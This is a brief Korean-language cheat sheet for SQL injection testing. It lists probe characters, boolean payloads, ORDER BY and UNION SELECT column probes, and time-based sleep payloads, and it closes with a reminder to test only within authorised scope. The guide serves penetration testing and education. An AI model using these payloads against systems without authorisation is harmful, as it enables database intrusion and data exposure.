Web

SQL Injection

SQL Injection 점검에 자주 쓰는 확인 절차와 페이로드를 정리합니다.

빠른 확인

입력값이 SQL 조건식에 들어가는지 확인할 때는 정상 입력과 작은 변형 입력의 응답 차이를 비교한다.

'
"
'
or
and
--

Boolean 기반 확인

참 조건

' OR '1'='1

거짓 조건

' AND '1'='2

응답 길이, 상태 코드, 목록 개수, 에러 메시지 차이가 있는지 비교한다.

UNION 기반 확인

컬럼 수 확인

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

출력 컬럼 확인

' UNION SELECT NULL,NULL,NULL--

Time 기반 확인

데이터베이스별 sleep 함수를 사용해 지연 여부를 확인한다.

'; SELECT pg_sleep(5)--
' OR SLEEP(5)--

점검 메모

실제 서비스에서는 허가된 범위에서만 테스트하고, destructive query는 사용하지 않는다. Blind 환경에서는 요청 수가 빠르게 늘어나므로 rate limit과 로그 영향을 함께 고려한다.